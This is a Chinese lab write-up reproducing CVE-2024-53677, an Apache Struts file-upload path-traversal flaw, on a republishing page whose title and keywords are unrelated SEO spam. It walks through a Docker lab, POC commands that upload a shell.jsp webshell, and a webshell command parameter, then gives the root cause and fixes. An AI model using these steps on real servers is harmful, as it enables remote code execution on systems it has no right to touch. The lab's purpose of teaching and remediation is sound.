当前位置: 首页> 文旅> 酒店 > 微信小程序是什么语言开发的_哈尔滨网络推广经理招聘_免费获客软件_百度推广广告收费标准

微信小程序是什么语言开发的_哈尔滨网络推广经理招聘_免费获客软件_百度推广广告收费标准

时间:2025/8/26 6:41:19来源:https://blog.csdn.net/m0_73360524/article/details/145666567 浏览次数:0次
微信小程序是什么语言开发的_哈尔滨网络推广经理招聘_免费获客软件_百度推广广告收费标准

0x01:漏洞简介

Apache Struts 是美国 Apache 基金会的一个开源项目,是一套用于创建企业级 Java Web 应用的开源 MVC 框架(将软件分为模型(Model)、视图(View)和控制器(Controller)三部分)。

CVE-2024-53677 是一个在 Apache Struts 框架中发现的严重漏洞,可能允许攻击者远程执行任意代码。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径穿越和恶意文件上传。

0x02:影响范围

注:未启用 FileUploadInterceptor 组件的应用程序不受此漏洞影响。

  • 2.0.0 <= Apache Struts <= 2.3.37

  • 2.5.0 <= Apache Struts <= 2.5.33

  • 6.0.0 <= Apache Struts <= 6.3.0.2

0x03:环境搭建

环境准备

  • 靶机环境:CentOS 7 - IP 172.16.0.101

  • 攻击机环境:Kali Linux - IP 172.16.0.103

0x0301:靶机环境搭建

靶机:CentOS 7 服务器配置概览

  • Docker 环境:ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客

本次靶场的搭建采用 Docker 进行搭建,CentOS 7 安装 Docker 的流程可以参考上面提供的链接。

当安装好 Docker 后,依次输入下面的命令获取 CVE-2024-53677 的实验环境:

 git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git # 拉取项目cd CVE-2024-53677-Docker # 进入文件夹中

然后输入下面的命令根据 Dockerfile 文件构建一个镜像(这里需要挂代理):

 # build 过程中先开代理,报错后关闭代理再 builddocker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .

然后输入下面的命令,创建容器运行 CVE-2024-53677 镜像:

 docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it cve-2024-53677

运行完容器后,我们到 Kali Linux 中,访问靶机的 8080 端口,验证一下环境是否搭建成功:

如上,当看到上面的内容,就证明靶机环境启动好了,等待一会就可以进入漏洞环境了。

0x0302:攻击机环境搭建

攻击机:Kali Linux 配置概览

  • 漏洞 POC:CVE-2024-53677 - POC.zip

攻击机就不用配置啥环境了,把 CVE-2024-53677 的漏洞 POC 下载下去即可。

 # POC 用法python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s​# -u => 文件上传点的完整的 URL# -filename => 我们上传后的文件在靶场中的位置# -file => 我们本地要上传的文件的位置# -type s => 代表只上传单个文件

0x04:漏洞复现

漏洞复现比较 Easy,但是这里有一个魔鬼细节,我们初始访问靶场长下面这样嘛:

我们这里需要点击 “Browse” 按钮,随机上传一个文件,来让这个靶场初始化后才可以继续漏洞的复现(笔者尝试过了,盲猜是一开始没有 upload 文件夹,必须得传入一个东西后才自动生成):

初始化靶场后,记得我们刚刚下载的那个 POC 嘛,POC 包里还有一个叫 shell.jsp 的文件,这是一个后门木马文件,待会我们就要将这个木马利用 struts2 的漏洞上传上去:

在 Kali Linux 中输入下面的命令,使用 POC 上传 shell.jsp 文件到靶场中:

 python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s

如上,POC 结果显示上传成功,并且返回的 img 标签中还包含了我们木马的位置,我们将这个路径拼接到靶场的 URL 中即可访问 shell.jsp 文件:

 http://172.16.0.101:8080/uploads/../shell.jsp

如上,成功访问,这个 shell.jsp 的利用方法如下,我们通过传入如下参数,即可在靶机执行任意命令:

 ?action=cmd&cmd=whoami

0x05:原理分析

Struts2 中有一个值栈的功能,“值栈” 顾名思义,是一个 “栈” 类型的数据,用来存储一些程序运行的时候需要用到的值。

在 Struts2 中,当我们访问一个 Action 的时候,它就会创建该 Action 类的实例并将它推送到值栈的顶部。比如我们文件上传的时候,访问的 upload.action,当我们访问它的时候,Struts 就会实例化它并将它放到栈的顶部。因此,通过找到栈的顶部数据,我们就能够访问到它。

同时,Struts 又把文件绑定到了 Action 中,因此,如果攻击者通过值栈顶部的数据,修改文件的属性,就可以实现控制文件名达到目录遍历的效果。(目录遍历漏洞可以让攻击者控制文件上传的地方,比如站点根目录下,此时攻击者访问恶意程序,就会导致恶意程序直接在靶机服务器中执行)

0x06:修复方案

安全更新:更新 Apache Struts 到 6.4.0 以上版本即可修复该漏洞。

下载链接:Download a Release

加固建议

  • 针对系统文件上传模块进行严格的身份认证和权限控制,避免匿名用户和未授权的访问。

  • 将文件上传目录和其他可写目录权限设置为不可执行,禁止 web 容器解析这些目录下的文件。

  • 在保存用户上传的文件时不直接使用原文件名,用随机生成的文件名替代以避免被攻击者操纵。

  • 使用对象存储或网络存储的方式,保存用户上传的文件。

  • 加强 web 应用的监控和日志记录,重点监测路径穿越和文件上传相关流量。

关键字:微信小程序是什么语言开发的_哈尔滨网络推广经理招聘_免费获客软件_百度推广广告收费标准

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: